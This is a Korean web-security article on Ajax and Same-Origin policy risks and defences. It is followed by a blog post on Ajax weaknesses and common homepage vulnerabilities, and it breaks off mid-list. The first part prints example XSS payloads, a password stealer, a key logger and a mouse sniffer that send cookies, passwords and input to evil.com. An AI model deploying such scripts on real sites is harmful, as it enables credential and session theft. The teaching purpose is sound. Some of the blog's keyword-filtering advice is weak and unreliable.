Ajax 애플리케이션의 보안 위협 극복하기
요약： Web 2.0의 핵심 기술인 Asynchronous JavaScript + XML (Ajax)은 사용자와 웹 페이지 인터랙션을 웹 브라우저와 서버 통신으로부터 분리시켰습니다. 특히, Ajax는 매시업을 실행하는데, 이는 여러 콘텐트나 서비스를 하나의 사용자 경험으로 통합시킵니다. 하지만, Ajax와 매시업 기술은 동적이고 멀티도메인 성격으로 인해서 새로운 문제를 야기시켰습니다. Ajax 기술과 관련한 문제에 대해 배우고 이를 해결하는 베스트 프랙티스에 대해서도 알아봅시다.
Ajax는 Dynamic HTML (DHTML) 기술과 다음과 같은 기술을 기반으로 구현된다.
- JavaScript: JavaScript는 클라이언트 측 웹 애플리케이션에 사용되는 스크립팅 언어이다.
- Document Object Model (DOM)): DOM은 HTML 또는 XML 문서들을 나타내는 표준 객체 모델이다. 대부분의 브라우저들이 DOM을 지원하고, JavaScript 코드가 HTML 콘텐트를 동적으로 읽고 수정할 수 있도록 한다.
- Cascading Style Sheets (CSS): CSS는 HTML 문서의 표현을 설명하는데 사용되는 스타일시트 언어이다. JavaScript는 런타임 시 스타일시트를 수정하면서, 웹 페이지의 표현이 동적으로 업데이트 될 수 있도록 한다.
Ajax에서, 클라이언트 측 JavaScript는 DOM 트리와 스타일시트를 동적으로 수정함으로써 웹 페이지의 표현을 업데이트 한다. 게다가, 다음과 같은 기술로 실행되는 비동기식 통신은 전체 웹 페이지를 재 로딩 할 필요 없이 동적인 데이터 업데이트를 가능케 한다.
XMLHttpRequest:XMLHttpRequest는 클라이언트 측 JavaScript가 HTTP를 원격 서버로 연결하여 플레인 텍스트, XML, JavaScript Serialized Object Notation (JSON) 같은 데이터를 교환할 수 있도록 해주는 API이다.- JSON: Request for Comments (RFC) 4627에서 제안한 JSON은 경량의, 텍스트 기반, 언어 독립적인 데이터 교환 포맷이다. ECMAScript 언어의 하위 세트에 기반하고 있으며(JavaScript 언어의 일부이다.), 포맷팅 규칙 세트를 정의하여 구조화 된 데이터를 생성한다.
Ajax 애플리케이션에는 XML과 포맷되지 않은 플레인 텍스트 같은, JSON의 대안 기술이 일반적으로 사용된다. 이 글에서는 JSON에 대해 설명할 것이다.
Ajax에 익숙지 않은 독자들은 참고자료 섹션을 참조하기 바란다.
여러 기원지에서 온 콘텐트들이 하나의 애플리케이션으로 통합될 때 콘텐트 중 일부는 서로 다른 트러스트 레벨을 갖거나 서로에 대해 신뢰를 하지 않을 수 있다. 다른 기원지에서 온 콘텐트를 고립시켜서 간섭을 최소화 하는 것이 필요하다.
Same-Origin 정책은 도메인이 기원지를 나타낸다고 가정했을 때, 다른 도메인에서 온 웹 애플리케이션들을 고립시키는 현재 브라우저의 보호 메커니즘 중 하나이다. 다시 말해서, 다중 윈도우 또는 다중 프레임의 애플리케이션들이 다른 서버들에서 다운로드 되었다면, 이들은 서로의 데이터와 스크립트에 액세스 할 수 없다. Same-Origin 정책은 HTML 문서에만 적용된다. <script src="..." > 태그에 의해 HTML 문서로 반입된 JavaScript 파일들은 HTML 문서와 같은 기원을 가진 일부로서 간주된다.
XMLHttpRequest 정황에서, Same-Origin 정책은 원격 서버들과 애플리케이션의 인터랙션을 제어에 관한 것이다. 하지만, Same-Origin 정책은 여러 가지 이유들로 Web 2.0 애플리케이션에만 제한된 영향력을 갖고 있다.
- 여러 가지 방식으로 Same-Origin 정책을 우회할 수 있다: 이 글 후반에 이러한 그 방법을 소개할 것이다.
- Web 2.0 애플리케이션의 주 특성은 사용자의 콘텐트에 대한 기여이다: 다시 말해서, 콘텐트는 믿을 수 있는 서비스에서 공급되기도 하지만 블로그, wiki 같은 것을 통해서 익명의 사용자에 의해 제공된다. 따라서, 싱글 서버에서 온 콘텐트라도 여러 소스에서 온 것일 수 있다.
- Same-Origin 정책을 실행하는 브라우저들은 서버의 도메인 이름으로 스트링 리터럴로 체크한다: 예를 들어, http://www.abc.com/과 http://12.34.56.78/은 www.abc.com의 IP 주소가 실제로 12.34.56.78이라 할지라도 다른 도메인으로서 취급된다. 게다가, URL의 경로 식이 무시된다. 예를 들어, http://www.abc.com/~alice는 http://www.abc.com/~malroy와 같은 기원으로 구분되면서, 두 디렉토리가 다른 사용자에 속해있다는 사실을 무시한다.
- 대부분의 웹 브라우저는 웹 애플리케이션이 도메인 정의를 애플리케이션 자체의 수퍼 도메인으로 완화시킨다: 예를 들어, 한 애플리케이션이 www.abc.com에서 다운로드 되었다면, 이 애플리케이션은
document.domain프로퍼티를 abc.com 또는 com (Firefox일 경우)으로 오버라이드 할 수 있다. 대부분의 최신 브라우저들은document.domain프로퍼티를 같은 값으로 오버라이드 했던 윈도우나 프레임 사이에 있는 윈도우 객체들로 액세스를 허용한다. 하지만, 구 버전의 브라우저는document.domain프로퍼티에서 지정된 도메인으로XMLHttpRequest연결을 한다. - 웹 서버가 믿을 수 있는 도메인에 있더라도, Web 2.0의 정황에서는 콘텐트의 기원자가 되지 않을 수 있다: 기업 포털 서버, 웹 기반 메일 서버, wiki는 신뢰를 받지만, 이들이 호스팅 하고 있는 콘텐트에는 악의적인 삼자에게서 온 인풋이 포함되어 있을 수 있다. 이는 크로스 사이트 스크립팅(XSS) 공격의 대상이 될 수 있다. 따라서, 서버의 도메인은 콘텐트의 신뢰성을 나타낼 수 없다.
Same-Origin 정책 대안: JSON과 동적 스크립트 태그
JSON은 단순한 괄호 형식의 구조를 가진 플레인 텍스트이기 때문에, 많은 채널들이 JSON 메시지를 교환할 수 있다. Same-Origin 정책 때문에, 여러분은 외부 서버와 통신할 때 XMLHttpRequest를 사용할 수 없다. JSON with Padding (JSONP)는 JSON과 <script> 태그를 결합하여 사용함으로써 Same-Origin 정책을 우회하는 하나의 방식이다. (Listing 1)
Listing 1. JSON 예제
<script type="text/javascript"
src="http://travel.com/findItinerary?username=sachiko&
reservationNum=1234&output=json&callback=showItinerary" />
|
JavaScript 코드가 동적으로 <script> 태그를 삽입할 때, 브라우저는 src 애트리뷰트에 있는 URL에 액세스 한다. 이로써 쿼리 스트링에 있는 정보를 서버에 보내게 된다. Listing 1에서, username과 reservation은 이름-값 쌍으로 전달된다. 게다가, 쿼리 스트링에는 서버에 요청한 아웃풋 포맷과 콜백 함수의 이름(showItinerary)이 포함되어 있다. <script> 태그가 로딩할 때, 콜백 함수가 실행되고, 서버에서 리턴된 정보는 인자를 통해 여기로 전달된다.
Ajax 프록시는 웹 브라우저와 서버 간 HTTP 요청과 응답을 중재하는 애플리케이션 레벨의 프록시 서버이다. Ajax 프록시는 웹 브라우저가 Same-Origin 정책을 우회하고 XMLHttpRequest를 사용하여 서드 파티 서버로 액세스 할 수 있도록 해준다. 바이패스를 실현하려면, 다음 두 방식 중 하나를 선택한다.
- 클라이언트 측 웹 애플리케이션은 서드 파티 URL을 알고 있고 이것을 HTTP 요청 시 요청 매개변수로서 Ajax 프록시에 전달한다. 이 프록시는 요청을 www.remoteservice.com에 전달한다. 웹 애플리케이션 개발자가 사용하는 Ajax 라이브러리의 구현 시 프록시 서버의 사용을 숨길 수 있다. 웹 애플리케이션 개발자에게는 Same-Origin 정책을 전혀 갖고 있지 않은 것처럼 보인다.
- 클라이언트 측 웹 애플리케이션은 서드 파티 URL을 알지 못하고, HTTP를 통해 Ajax 프록시 서버에 있는 리소스에 액세스 한다. 사전 정의된 인코딩 규칙에 따라, Ajax 프록시는 요청된 URL을 서드 파티 서버 URL로 변환하고 클라이언트 대신 콘텐트를 검색한다. 이 경우, 프록시 서버와 직접 통신하고 있을 웹 애플리케이션 개발자를 찾는다.
Same-Origin 정책 대안: Greasemonkey
Greasemonkey는 Firefox 확장으로, 사용자는 웹 페이지 스타일과 콘텐트를 바로 수정할 수 있다. Greasemonkey 사용자는 사용자 스크립트 파일과 URL 세트를 제휴시킬 수 있다. 이러한 스크립트들은 브라우저가 URL 세트에서 페이지를 로딩할 때 실행된다. Greasemonkey는 사용자 스크립트에 대한 API에 추가 권한을 제공한다. (브라우저 샌드박스에서 실행되는 스크립트 권한과 비교)
이러한 API들 중 하나가 GM_XMLHttpRequest인데, 이것은 기본적으로 Same-Origin 정책이 없는 XMLHttpRequest이다. 사용자 스크립트는 브라우저의 빌트인 XMLHttpRequest를 GM_XMLHttpRequest로 오버라이드 하여 XMLHttpRequest 권한을 제공하여 크로스 도메인 액세스를 수행한다.
GM_XMLHttpRequest의 사용은 사용자 동의에 의해서만 보호된다. 다시 말해서, Greasemonkey는 새로운 사용자 스크립트와 특정 URL을 제휴시킬 때 사용자 확인만 요한다. 하지만, 일부 사용자들은 그 결과를 완전히 이해하지 못한 채 설치를 수락하게 될 것이다.
개발자가 Same-Origin 정책을 회피하고 악의적인 사용자에게 공격 가능성을 열어둘 뿐만 아니라, 현재 애플리케이션들은 악의적인 코드가 웹 애플리케이션에 삽입될 때 공격에 취약하다. 안타깝게도 악성 코드는 여러 가지 방식으로 웹 애플리케이션에 침투하고 있다. 이 글에서는 간단히 두 가지 루트만 소개하겠다. 이 두 가지 루트는 Web 2.0 정황과 관련성이 높다.
XSS는 공격자가 악성 코드를 사이트에 투입하는 일반적인 공격이다. 두 가지 기본적인 XSS 공경 유형이 있다.
- Reflected XSS
- Stored XSS
Reflected XSS 공격은 활성 콘텐트의 존재 여부를 체크하지 않고 브라우저로 인풋 매개변수를 디스플레이 하는 취약한 웹 애플리케이션들을 활용한다. 일반적으로, 공격자는 URL을 클릭하도록 유도한다. (Listing 2)
Listing 2. Reflected XSS용 예제 URL
http://trusted.com/search?keyword=<script>
document.images[0].src="http://evil.com/steal?cookie="
+ document.cookie; </script>
|
trusted.com이 검색 결과와 입력한 키워드를 게시하는 검색 기능을 가진 서비스를 호스팅 한다고 해보자. 검색 애플리케이션이 URL에서 특수 문자[< 심볼과 > 심볼]를 필터링 하지 못한다면 <script> 태그의 콘텐트도 사용자 웹 페이지로 삽입될 것이고, 결국 문서 쿠키를 원격 서버 evil.com으로 보내게 될 것이다.
Stored XSS 공격 역시 Web 2.0에서 중요하다. Web 2.0의 핵심은 사람들간 공유, 인터랙션, 협업이기 때문에, 사용자들은 social network services (SNS), wiki, 블로그 같은 서비스를 통해 다른(악의적인) 사용자 인풋을 볼 수 있는 더 많은 기회를 갖는다.
이 두 경우에서, 인풋 값 위반과 삭제는 XSS 공격을 방지하는 열쇠이다. 일반적으로 웹 서버는 사용자 인풋에서 스크립트를 제거하지만, 종종 공격자들은 취약성을 이용하여 이러한 필터를 우회하고, Yamanner나 MySpace WORM 같은 결과를 만들어 낸다.
매시업 애플리케이션은 여러 소스들로부터 온 콘텐트와 서비스들을 결합하여 하나의 통합된 사용자 경험으로 만드는 웹 애플리케이션이다. 전형적인 매시업 애플리케이션은 하나의 클라이언트 측 애플리케이션으로 되므로, 매시업의 다른 부분들은 정보를 공유하고 DOM 트리나 브라우저 윈도우 프로퍼티 같은 여러 브라우저 리소스를 통해 인터랙팅 한다. 매시업의 특정 부분이 악의적인 의도로 작성될 때(또는 해킹될 때) 악성 코드를 애플리케이션에 투입할 수 있다. 이는 민감한 사용자 정보를 훔치는 것을 포함하여 모든 종류의 공격이 될 수 있다. (XSS와 비슷)
공격자들이 코드를 애플리케이션에 삽입하는 방법을 알았으니, 일부 공통적인 공격의 특성에 대해 알아보자.
공격을 통해 얻는 가장 직접적인 이득은 사용자 패스워드나 쿠키 같은 민감한 사용자 정보를 얻는 것이다. 투입된 스크립트가 DOM 트리의 일부에 액세스 할 수 있으므로, 무엇보다도 로그인 폼의 텍스트 필드에서 패스워드 정보를 훔칠 수 있다. Listing 3은 정보를 훔치고 이것을 공격자의 서버로 보내는 코드를 보여주고 있다.
Listing 3. 공격 예제: 텍스트 필드에서 패스워드 훔치기
function stealpw(){
var pw = document.getElementById("password").value;
document.images[0].src="http://evil.com/imgs/stealpw?pw=" + pw;
}
document.getElementById("button").onclick = stealpw;
|
이 예제에서, 공격자는 데이터를 받기 전에 사용자가 제출 버튼을 클릭할 때까지 기다려야 한다. Ajax는 공격자의 작업을 훨씬 더 쉽게 만든다. 공격자가 임의의 정보를 버튼을 누른다거나 링크를 클릭하는 것 같은 뚜렷한 사용자 액션을 기다리지 않고 원격 서버로 보낼 수 있기 때문이다. 이러한 유형의 트래픽은 수상한 작동으로 간주되지만, Ajax 애플리케이션의 비동기성 때문에 트래픽은 탐지되지 않는다.
비슷한 방식을 사용하여, 공격자는 민감한 웹 애플리케이션(온라인 뱅킹 애플리케이션)의 문서 쿠키도 훔칠 수 있다. 문서 쿠키는 공격자가 훔친 크리덴셜로 세션을 하이잭킹 하거나 로그인 할 수 있도록 한다.
Microsoft® Internet Explorer® 6 또는 이후 버전은 HttpOnly 쿠키를 지원하는데, 이는 클라이언트 측 스크립트가 문서 쿠키에 액세스 하지 못하도록 한다. 하지만, 대부분의 웹 애플리케이션들은 브라우저 구현에 의존할 수 없기 때문에 이는 도움이 되지 않는다.
Listing 4는 키 로거의 예제를 보여주고 있다. 웹 페이지에서 키보드 이벤트를 훔쳐서 이것을 원격 서버로 보낸다. 키 로거는 공격자가 사용자 인풋을 가로챌 수 있게 한다. 예를 들어, 사용자가 웹 기반 이메일 서비스를 사용하면, 키 로거는 텍스트 인풋을 기록하고 이것을 공격자에게 전송한다. 공격자는 기록된 데이터를 분석하여 패스워드와 기밀 메시지 같은 중요한 정보를 검색한다.
Listing 4. 공격 예제: 키 로거(Key logger)
function keylogger(e){
document.images[0].src = "http://evil.com/logger?key="
+ e.keyCode;
};
document.body.addEventListener("keyup", keylogger, false);
|
마우스 스니퍼(mouse sniffer)로 키보드 이벤트 훔치기
소프트 키패드는 온라인 뱅킹 서비스용 로그인 PIN 코드 같은 민감한 인풋에 대한 키 로거 공격을 방지하는 일반적인 기술이 되었다. 하지만, 마우스 스니퍼는 키 로거에 의해 사용되던 것과 비슷한 기술을 사용할 수 있다. 마우스 이벤트의 X와 Y 좌표를 훔쳐서, 키패드 상의 어떤 키들이 클릭되었는지를 추정할 수 있다. Listing 5는 마우스 스니퍼 예제이다.
Listing 5. 공격 예제: 마우스 스니퍼(Mouse sniffer)
function sniffer(e){
document.images[0].src= "http://evil.com/imgs/sniffer?x="
+ e.clientX + "&y=" + e.clientY;
};
document.body.addEventListener("mouseup", sniffer, false);
|
DOM 인터페이스를 사용하여, 공격자는 DOM 트리에서 어떤 정보라도 수정할 수 있다. 예를 들어, 사용자가 온라인으로 돈을 전송할 때 공격자가 목적 계정을 자신의 것으로 바꿀 수 있다. 결국, 전송된 돈은 공격자의 계좌로 입금된다.
또 다른 유형의 공격 중에, 공격자가 스타일시트를 수정하여 사용자에게 정보를 숨기는 방법도 있다. 웹 페이지에 경고 메시지가 있다고 생각해 보자. (Listing 6)
Listing 6. 경고 메시지
...
<style type="text/css"> #warning { color: red } </style>
...
<div id="warning">The links in this page may refer to
potentially malicious Web pages, so be careful. </div>
...
|
공격자는 스타일시트를 수정하여 경고를 제거한다. Listing 7은 경고 스타일을 수정하여 흰색 배경에는 보이지 않도록 하는 JavaScript 코드를 나타내고 있다.
Listing 7. 공격 예제: 경고 제거하기
var e = document.getElementById("warning");
e.style.color= "white";
|
공격이 어떻게 이루어지고, 어떤 결과가 나타나는지 보았으므로, Ajax 애플리케이션의 보안을 향상시킬 수 있는 기술에 대해 배워보자.
XSS 예제에서 보았듯이, 대부분의 공격은 악성 스크립트를 투입함으로써 서버 측 취약성을 악용한다. 따라서, 인풋 밸리데이션은 웹 애플리케이션을 보호하는 첫 단계이다. 인풋 밸리데이션과 정리로 믿을 수 없는 인풋으로부터 모든 실행 또는 악성 콘텐트를 가려낸다.
두 가지 유형의 인풋 밸리데이션이 있다.
- 블랙리스팅(Blacklisting): 이 방식에서, 블랙리스트에 있는 모든 문자들은 인풋에서 제거된다. 블랙리스팅 방법에서 가장 큰 문제는 모든 위험한 문자들이 리스팅 되는지를 보장하는 것이다. 인풋의 모든 조합들을 예견하는 것은 불가능하기 때문에, 블랙리스팅은 종종 정확한 밸리데이션에 실패한다.
- 화이트리스팅(Whitelisting): : 허용되는 모든 문자들을 리스팅 하고 다른 모든 문자들을 인풋에서 제거한다. 화이트리스팅의 가장 큰 문제는 리스트를 가능한 짧게 유지하면서, 웹 애플리케이션에 필요한 인풋 유형을 허용하는 충분한 유연성을 제공하는 것이다.
블랙리스팅이나 화이트리스팅이 단순한 솔루션이라고 간주해서는 안된다. 화이트리스팅은 일반적으로 보다 안전한 옵션으로 간주된다. 따라서, 위험한 인풋을 제거하려면 화이트리스팅을 사용하는 것이 좋다.
브라우저로 보내서 디스플레이 하는 스트링에서 특수 문자를 이스케이프(less than 심볼(<)에서 "<"로 바꾸기)하는 것도 보안을 향상시키는 좋은 방법이다. 일부 프로그래밍 언어들은 유용한 빌트인 함수를 제공하여 특수 문자들을 이스케이프한다.
많은 웹 애플리케이션들은 비슷한 유형의 프로그래밍 에러에도 약하다. 따라서, 보안 전문가는 그러한 불안전한 프로그래밍 프랙티스를 탐지하는 툴을 개발했다. 이 같은 툴들을 취약성 체크 툴이라고 하는데, 잠재적인 취약성을 미리 탐지한다. 이러한 툴이 탐지하는 가장 일반적인 취약점 중 하나는 프로그래머가 악성 인풋에 청소 루틴을 호출하는 것을 잊을 경우이다.
JavaScript 프로그램에서 동적으로 코드를 생성할 수 있는 여러 가지 방법들이 있다. 가장 잘 알려진 함수들 중 하나가 eval() 함수인데, 이것으로 임의의 스트링을 JavaScript 코드로서 실행할 수 있다. 하지만, 이 함수를 사용할 때에는 주의를 기울여야 한다. 반드시 필요한 경우가 아니라면 동적으로 생성된 코드를 사용하지 말라. 안타깝게도, 일부 JavaScript 라이브러리들은eval() 함수를 내부에서 사용하고 있다.
JSON은 JavaScript의 하위 세트에 기반하기 때문에, 악성 코드를 포함하고 있는 스크립트 콘텐트이다. 하지만, JSON은 할당과 호출을 배제한 JavaScript의 안전한 하위 세트이다. 따라서, 많은 JavaScript 라이브러리들은 eval() 함수를 사용하여 JSON을 JavaScript 객체로 변환한다. 이를 활용하려면, 공격자들은 잘못 형성된 JSON 객체들을 그러한 라이브러리들로 보내서 eval() 함수가 악성 코드를 실행하도록 한다. JSON의 사용을 보안화 하는 여러 방법이 있다. 첫 번째 방법은 RFC 4627에 정의된 정규식을 사용하여 JSON 데이터에 활성 부분이 포함되지 않도록 하는 것이다. Listing 8은 정규식으로 JSON 스트링을 검사하는 방법이다.
Listing 8. 정규식으로 JSON 스트링 검사하기
var my_JSON_object = !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
text.replace(/"(\\.|[^"\\])*"/g, ' '))) &&
eval('(' + text + ')');
|
보다 안전한 대안은 JSON 파서를 사용하여 JSON 데이터를 파싱하는 것이다. JSON의 문법은 매우 단순하기 때문에, 성능의 차이 없이 이 같은 파서를 쉽게 구현할 수 있다.
신뢰할 수 없는 콘텐트를 통합할 때 <iframe> 사용하기
Same-Origin 정책을 활용하여 공격자가 전체 DOM 트리에 액세스 하기 어렵게 만들 수 있다. 다른 도메인에서 <iframe>으로 데이터를 로딩할 때, 그 데이터에게 고유의 JavaScript 실행 콘텍스트와 DOM 트리를 제공한다. 이는 공격자가 메인 페이지에서 정보를 훔치지 못하게 한다. 믿을 수 없는 외부 콘텐트를 제한할 때 <iframe>을 가능한 많이 사용하는 것도 좋은 방법이다.
Web 2.0 애플리케이션이 Same-Origin 정책을 피하는 여러 가지 방법들을 보았다. 웹 애플리케이션에 생길 수 있는 새로운 공격 유형에 대해서도 살펴 보았다. 공격의 유형과 결과에 대해서도 논했다. 마지막으로, 가장 일반적은 공격을 피하기 위해 사용할 수 있는 방법들을 설명했다.
교육
- Ajax와 XML: 다섯 개의 일반적인 Ajax 패턴 (한글) (Jack D. Herrington, 한국developerWorks, 2007년 4월): 쉽고 일반적인 Ajax 디자인 패턴들에 대해 이야기한다.
- Ajax 마스터하기 (한글)시리즈 (Brett McLaughlin, 한국 developerWorks, 2006년 9월 - 2007년 5월): 본 특집은 Ajax에서 사용되고 있는 XMLHttpRequest를 이용한 비동기 자료검색, DOM을 이용한 상호작용, 모든 것을 결합시켜 정리해 주는 자바스크립트 등에 관하여 자세하게 예를 들어 설명하고 있다.
- JSON.org
- RFC 4627: The application/json Media Type for JavaScript Object Notation (JSON) (D. Crockford, JSON.org, 2006년 7월)
- Remote JSON - JSONP (Bob Ippolito, 2005년 12월)
- Top 10 Ajax 보안 허점과 동력 (Shreeraj Shah, Help Net Security, 2006년 11월)
- Ajax 보안 기초 (Jaswinder S. Hayre and Jayasankar Kelath, SecurityFocus, 2006년 6월)
- Open Web Application Security Project (OWASP)
- JS.Yamanner@m: Yamanner 웜에 대한 상세한 기술자료(사만텍 웹사이트)
- MySpace 웜의 기술적 설명: MySpace 웜의 상세 기술 자료.
- The Same Origin Policy: same-origin policy에 대한 Jesse Ruderman의 글.
- IBM XML 인증
- XML 기술 자료 (영문): developerWorks XML 존의 광범위한 : 기술자료, 팁, 튜토리얼, 표준, IBM Redbook.
- XML 기술 자료 (한글): 한국 developerWorks XML 존의 광범위한 : 기술자료, 팁, 튜토리얼, 표준, IBM Redbook.
- developerWorks 기술 이벤트와 웹캐스트
- technology bookstore
제품 및 기술 얻기
- Greasespot: 홈페이지에 방문하여 Greasemonkey와 관련 자료 링크를 볼 수 있다.
- IBM 시험판 소프트웨어: developerworks에서 시험판 소프트웨어를 다운로드하여 차기 개발 프로젝트에 활용해보라.
토론
- developerWorks 블로그: 이 글에 관한 블로그를 확인해보고 한국 developerWorks 커뮤니티도 참여해보라.
- XML 존 토론 포럼: XML-관련 토론 참여하기.
출처 - http://www.ibm.com/developerworks/kr/library/x-ajaxsecurity.html
===================================================================================
AJAX는 보안에 취약하다?  Ajax 2007/04/25 15:12 |
AJAX는 보안에 취약하다? (AJAX를 사용하지 않은 당신의 웹사이트는 안전합니까?)
AJAX는 새로운 기법이 아닌 예전부터 존재하고 있던 웹 구축 기법중 잘 사용하지 않았던 기법을 사용한 것이고 또한 AJAX는 웹 페이지 전체가 아닌 일부에만 이용됩니다.
다만, 잘 사용하지 않던 기법을 사용한 것이므로 보안에 대한 완벽한 검증이 아직 이루어지지 않은 상황이며 다음과 같은 몇 가지 취약점이 드러나 있습니다..
(전통적인 웹 구축 기법으로 구현된 사이트에서도 계속적으로 취약점이 드러나고 있는 사실은 다 아시죠? 그 누구도 열 수 없는 자물쇠는 존재하지 않습니다.)
1. JavaScript Hijacking.
2. XHR 객체 요청 / 응답시 평문전송.
3. 무제한 요청 / 응답으로 인한 서버 부하증대로 인한 사이트 마비 가능성.
4. 서버 리소스 URL 제한.
1, 2번 취약점의 경우 AJAX의 취약점이기도 하지만 웹사이트의 기본 취약점이기도 합니다.
즉, 기존 방식으로 구축된 웹 페이지부터 우선적으로 취약점을 제거하면 AJAX의 취약점이 감소하게 되어 있으므로 AJAX보안이라 따로 명명하기보다는 웹 보안이라 총칭을 하여 고객의 불안을 감소시켜야 할 것입니다.
또한, 현재 알려진 AJAX의 취약점은 모두 해결방안이 존재한다는 것을 주지시켜
개발자들이 AJAX로 개발함에 있어서 두려움과 망설임없이 창의력을 발산시킬 수 있겠죠? 그럼 우선적으로 알려진 취약점 및 해결방안을 알아보겠습니다.
특성 및 해결방안
1. JavaScript Hijacking.
à Cross site script 의 방식과 유사. AJAX 용 JavaScript 공격.
* 기존 웹 사이트의 Cross site script : 사용자의 쿠키정보 추출가능. 원치않는 사이트로의 이동 등.
* AJAX의 JavaScript Hijacking : JavaScript가 데이터 전송을 다루기 때문에 악의적인 요청으로 인한 민감한 데이터의 유출 가능성 존재.
à 1. 게시판 등에 글을 올릴 때 ‘GET ‘, ‘POST’, ‘GWT’등 AJAX 용 JavaScript 에서 사용되는 단어를 필터링하여 막는다.
2. 게시판 등에 글을 올릴 때 [while(1)], [/* */] 등의 스크립트를 삽입하여 무한루프를 돌리거나 악의적인 요청이 가능하므로 역시 필터링하여 막는다.
2. XHR 객체 요청 / 응답시 평문전송.
à 서버로부터 받아온 데이터를 html에 전달해주는 과정에서 평문으로 데이터 전송이 이루어지므로 누군가가 sniffing 하는 경우 데이터가 쉽게 노출될 수 있음.
à aSSL (AJAX secure service layer) 기법(128-bit key with the server using the RSA algorithm) 을 이용하여 요청 / 응답시 암호화 가능 (현재 베타버전만 있음).
(단, 로긴시 보안등급이 없거나 민감한 정보가 없는 - 게시판만 있는 사이트의 경우 – 궂이 사용할 필요 없음.)
3. 무제한 요청 / 응답으로 인한 서버 부하증대로 인한 사이트 마비 가능성.
à 웹사이트에서 가장 부하를 주는 부분이 SQL 요청이라는 것 다들 아시죠? 사용자가 늘어나고 계속적인 SQL 요청이 있을 경우 웹사이트가 다운될 수 있습니다. 또한, 악의적인 공격자들은 서버를 마비시킨 후 정보를 빼내는 방법을 즐겨 사용합니다. 개발자 스스로가 사이트를 마비시켜서는 안되겠죠?
à 요청시간간격을 늘려 부하감소 / 데이터 요청시 실시간 DB 검색 방법을 사용하지 않고 미리 만들어놓은 파일에서 읽어오는 방식 사용하여 서버의 부하를 줄여야 합니다.
4. 서버 리소스 URL 제한.
à XHR 객체가 자기가 속해있는 도메인이 아닌 그 밖에 있는 서버의 URL 호출시 IE 의 경우에는 alert 창을 띄우면서 보안 위해요소가 있으니 계속 진행할 것인지 아닌지를 사용자가 판단할 수 있게 되어있고, FireFox 의 경우는 에러를 보여주며 요청자체를 브라우저에서 차단해 버린다.
à 웹 개발시 XHR객체가 자기가 속해있는 도메인의 URL만 호출하는 방식으로 개발.
AJAX로 웹페이지 구축시 보안대책 : 기존 웹 보안 + AJAX 보안적용.
기존 웹 보안 대책 : 국가사이버안전센터 발표 8대 홈페이지 취약점을 제거한다.
국가사이버안전센터 발표 8대 홈페이지 취약점
1. Directory listing
2. File Download
3. Cross site script
4. File Upload
5. WebDav (Web Distributed Authoring & versioning)
6. technote
7. zeroboard
8. SQL injection
1. Directory listing
l 발생요인 : 홈페이지 속성을 설정시 특정 디렉토리에 대해 ‘디렉토리검색’ 항목이 체크되어 있거나(IIS) ‘Indexes’ 옵션설정이 on되어 있는 경우(apache).
l 취약점 : 인터넷 사용자에게 모든 디렉토리 및 파일 목록이 보여지게 되고, 파일의 열람 및 저장이 가능하게 되어 비공개자료 유출가능성 존재.
l 해결방안 : 웹 서버 설정을 다음과 같이 바꾸어준다.
- 윈도우 웹 서버
- 제어판 > 관리도구 > 인터넷 정보 서비스 메뉴에서 기본 웹 사이트의 마우스 오른쪽 클릭, [속성] 에서 [기본 웹 사이트 등록정보] 선택.
- 기본 웹 사이트 등록정보 > 홈 디렉토리 > 디렉토리 검색 옵션 체크해지.
- Apache 웹 서버
- /etc/apache/conf/httpd.conf 파일의 option 항목에서 Indexes 항목 제거후 웹 서비 리부팅.
2. File Download
l 발생요인 : 게시판등에 저장된 자료에 대해 ‘다운로드 스크립트 ‘를 이용하여 다운로드기능을 제공하면서, 대상 자료파일의 위치 지정에 제한조건을 부여하지 않았을 때 발생.
l 취약점 : URL 다운로드 스크립트의 인수값에 ‘../’ 같은 문자열을 입력하여 시스템 디렉토리등에 있는 /etc/passwd 같은 비공개 자료들의 유출가능성 존재.
l 해결방안 : 첨부 파일이 저장되어있는 특정 디렉토리에 있는 파일만을 다운받을 수 있도록 다운로드 스크립트 수정해야 함.
- 스크립트로 파일명에 “..”, “/”, “\” 등의 문자열 필터링.
3. Cross site script
l 발생요인 : 게시판에 새 게시물을 작성하여 등록시 사용자의 입력을 받아 처리하는 웹 프로그램에서 입력내용에 대해 실행코드인 스크립트의 태그를 적절히 필터링하지 않았을 때 발생.
l 취약점 : 악의적인 스크립트가 포함된 게시물을 등록할 수 있어 해당 게시물을 열람하는 일반 사용자의 PC로부터 개인정보인 쿠키 유출가능성 존재.
l 해결방안 : 글쓰기가 가능한 게시판 페이지에서 사용자들의 input에 대해 스크립트를 모두 필터링.
- 입력시 html 태그 필터링.
- Script 문장에 존재할 수 있는 메타캐릭터를 필터링.
< à <,
> à >,
( à (,
) à ),
# à #,
& à&
4. File Upload
l 발생요인 : 첨부파일 업로드 허용시 실행가능한 php, php3, asp등의 확장자의 이름의 스크립트 파일의 업로드를 허용하는 경우.
l 취약점 : 해커가 악성 실행 프로그램을 업로드한 후에 홈페이지 접속 방식으로 원격에서 서버컴퓨터의 시스템 운영 명령어 실행가능성 존재.
l 해결방안 : 첨부파일 확장자 필터링.
- php, php3, asp, inc, cgi, pl등 실행가능한 확장자 필터링.
- 대문자, 대소문자 혼용시도 필터링.
- “--.txt.asp”등의 이중 확장자도 필터링.
5. WebDav (Web Distributed Authoring & versioning)
l 발생요인 : 윈도우 서버 컴퓨터에서 기본으로 설치되는 원격관리기능인WebDAV가 계속 사용가능하도록 설정되어있고, WebDAV 라이브러리 파일의 속성 및 홈페이지 디렉토리에 쓰기 권한이 모두 허용되어 있는 경우.
l 취약점 : 해커가 WebDAV 도구를 사용, 원격에서 홈페이지 디렉토리에 임의의 파일을 삽입하여 화면 변조 가능성 존재.
l 해결방안 :
- 원격 웹 서버 관리하지 않는다면 WebDAV 기능 중지.
- httpext.dll 파일의 Everyone 권한삭제.
6. technote
l 발생요인 : 국내개발되어 무료 배포중인 게시판 구축 프로그램 ‘테크노트’ 의 일부 CGI 프로그램들에서 인수값 처리시에 ‘|’ 문자 이후에 나오는 컴퓨터 운영 명령어가 실행될 수 있는 취약점 존재.
l 취약점 : 해커가 홈페이지 접속 방식으로 컴퓨터 명령어를 실행하여 화면 변조 및 컴퓨터 조작 가능성 존재.
l 해결방안 : 자체 게시판 사용으로 인한 취약점 원천봉쇄.
(웹 개발자가 상용 게시판을 그대로 사용하지는 않겠죠?
웹 사이트의 생명은 멋진 게시판이라 봐도 무방하지 않을까요?)
7. zeroboard
